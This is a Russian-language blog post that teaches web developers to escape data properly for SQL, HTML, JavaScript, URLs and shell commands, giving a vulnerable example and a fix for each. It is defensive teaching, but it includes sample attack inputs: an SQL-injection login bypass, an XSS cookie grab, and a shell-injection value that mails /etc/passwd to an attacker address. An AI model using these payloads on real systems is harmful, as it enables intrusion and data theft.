Originally published at
Блог Андрея Смирнова. Please leave any
comments there.
Когда я только начинал программировать в web, правильно сделать escape данных было непростой задачей: никаких хороших библиотек не было или приходилось писать что-то свое, при этом на каждом шагу не забывая поставить нужный escape. Сегодня отличные библиотеки, такие как Ruby on Rails, позволяют «расслабиться» и забыть о том, что такое escaping (по крайней мере до какой-то степени). Не смотря на это, все еще необходимо понимать, что такое escaping, зачем он нужен, когда и какой.
Отсутствие правильного escaping (впрочем, как и избыточный и неуместный escaping) приводит к ошибкам и уязвимостям (проблемам безопасности) в web-приложениях. Обычно уязвимость состоит в том, что приложение получает данные из различных внешних источников (от пользователя, из других приложений), эти данные приложение вставляет строчку, которая впоследствие будет обработана третьей системой (базой данных, браузером, интерпретатором и т.п.) При этом при передаче особым образом подготовленных данных удается совершить действие, которое не должно было произойти.
SQL
Типичная уязвимость:
SQL Injection.
Пример кода (авторизация по логину и паролю):
runQuery("SELECT id FROM users WHERE login='$login' AND password='$password'")
Если значения переменных $login и $password получены от пользователя (например, через форму авторизации), можно в поле password ввести значение вида: ' OR '' = ', тогда после подстановки получится такой запрос:
SELECT id FROM users WHERE login='login' AND password='' OR '' = ''
Условие WHERE всегда истинно, для любой строчки БД. В зависимости от вида запроса, способа авторизации такое поведение приведет к возможности авторизации, не зная пароля.
Проблема состоит в том, что при прямой подстановке значения переменной $password мы смогли изменить смысл исходного запроса.
Что делать (в порядке от плохого к хорошему):
- использовать функцию, которая осуществляет escaping, причем специфичный для конкретной БД (так как синтаксис SQL-запросов может отличаться от одной БД к другой (в конечном итоге не очень хороший способ, так как однажды забытая функция escape ведет к потенциальной уязвимости); например, для PHP/MySQL: mysql_real_escape_string.
- использовать синтаксис SQL с параметрами (placeholderами), в этом случае значение не подставляется в строку SQL-запроса, а передается отдельно как значение соответствующего типа; пример для PHP/PDO: PDOStatement->bindValue.
- использовать ORM, которая спрячет процесс построения запросов, например для Rails: User.find_by_login_and_password(login, password).
Примечание: один из моих любимых вопросов на собеседовании - «SQL injection и как его избежать». В 50% случаев я слышу про то, что надо фильтровать пользовательские данные. Это не может быть универсальным способом! Пользователь может совершенно разумно хотеть написать одинарную кавычку в том текстовом поле, значение которого будет передано вашему приложению. Валидация или фильтрация данных - дополнительная возможность, которая происходит на уровне модели вашего приложения, но escaping происходит на уровне, уже непосредственно взаимодействующем с БД.
HTML
Типичная уязвимость:
XSS,
типичные exploitы.
В разметке HTML есть некоторое количество символов, которые имеют особый смысл: &<>"'. Проблема возникает, когда в текст (между элементами HTML) попадают данные, которые содержат мета-символы HTML, перечисленные выше.
Пример (PHP):
$user->nickname ?>
Если в качестве $user->nickname пользователь введет:
То все посетители сайта, которые посещают страницу, содержащую вышеприведенный код, получат окошко c «hi!».
Должно быть так (
htmlspecialchars осуществляет замены вида > -> > и т.д.)
htmlspecialchars($user->nickname) ?>
Необходимо отметить, что решения из разряда «фильтрации», описанные в примечании к SQL-escape, не всегда работают по тем же самым причинам. Типичный поток данных для данной уязвимости - пользователь (например, ввод в форме) -> БД -> вывод на страницу в HTML. При этом HTML escaping должен происходить при выводе данных, а не при записи в БД, т.к. данные в БД могут использоваться и для вывода в другие форматы (например, PDF).
Второй разновидностью данной проблемы является динамическая генерация HTML в контексте страницы, например, с помощью jQuery:
$('#nickname').update('' + data['nickname'] + '');
Должно быть так:
$('#nickname').update($('').text(data['nickname']));
Фукнция text в отличие от update изменяет только текстовые узлы DOM-дерева и не интерпретирует (добавляет «как есть») любую HTML-разметку.
Как избежать подобных проблем:
- Шаблонизатор на серверной стороне должен по умолчанию делать HTML escaping при подстановке данных в шаблон, т.к. чаще всего нужно делать escape, а не наоборот. Не нужен escaping только при вставке готовых кусков HTML-кода (например, результата работы другого шаблона).
- При построении DOM-дерева в JavaScript не используйте куски HTML кода, лучше стройте DOM-дерево из отдельных элементов (как показано выше). Можно воспользоваться JavaScript-шаблонизатором с теми же требованиями, что и для серверного решения.
JavaScript
Типичная уязвимость:
XSS.
Не менее часто в сегодняшних сложных web-приложениях необходимо передать данные с серверной части в JavaScript-код через HTML страницу. Для этого чаще всего генерируется в шаблоне такой JavaScript-код:
Теперь представим, что будет, если я в качестве $username напишу '+alert(document.cookies) + '. Нехорошо получается? Ответ простой - сегодня все языки программирования поддерживают возможность преобразования данных в
JSON. А это как раз тот вид escape, который нам нужен! Причем у нас появляется передавать в JavaScript сложные данные (массивы, объекты), а также свободно обрабатывать случаи null и т.п.:
:javascript
var user = #{@user.name.to_json};
(Кавычки вокруг строки уже указывать не нужно).
Как избежать: преобразуйте данные в JSON перед вставкой в JavaScript-код.
URL
URL - это тоже далеко не такая простая вещь, как кажется на самом деле. В URL используется множество символов, которые имеют особый смысл: ?&=/. Чаще всего проблема возникает при построении URL динамически, а при этом в качестве части URL необходимо использовать переданные пользователем данные. Пусть, например, нам надо построить URL страницы поиска для ссылки с тега какого-то объекта:
"
http://example.com/search/?q=" . $tag->name
Если ограничений особенно жестких на имя тега нет, мы можем получить несколько другой URL, чем мы планировали. Например, добавить еще один параметр через &val=xxx в имени тэга. В результате, пользователь, кликнувший по ссылке на такой тэг в списке тэгов может попасть совсем не на страницу тэга, а на другую страницу сайта (результат будет зависеть во многом от схемы формирования ссылок).
Как избежать: используйте urlencode-подобные функции при формировании компонентов URL, или, еще лучше: используйте «сборщики ссылок», которые отдельно принимают схему протокола, имя хоста, URI, GET-параметры и т.п. Пример -
link_to в Rails.
Shell
Типичная уязвимость: получение shell-доступа к удаленному серверу.
При выполнении команд в ответ на запрос с использованием параметров, переданных клиентом (это могут быть как строки, так и, например, имена файлов), можно использовать различные способы запуска команд. Одним из таких способов является команда system или ее различные варианты:
$image = $_GET['image'];
$result = system("/usr/bin/process_image '$image'");
В данный код в качестве значения переменной $image можно передать, например, следующее:
'; (cat /etc/passwd | mail cool@hacker.org); echo '
В чем здесь проблема?
- Функция system и ей подобные запускают командный интерпретатор (например, bash), возможности которого гораздо больше, чем требуется нам.
- Мы не выполняем корректный escaping параметров, чтобы $image оказался в точности одним параметром командной строки.
Как избежать:
- Использовать функции, которые запускают внешний процесс, не прибегая к помощи shell: они обычно принимают отдельно полный путь к исполняемому файлу и массив аргументов. Проблема отпадает сама собой.
- Использовать функцию escapeshellarg и ей подобные, которая гарантирует, что внутри параметра все специальные символы будут экранированы:
$image = $_GET['image'];
$result = system("/usr/bin/process_image ".escapeshellarg($image));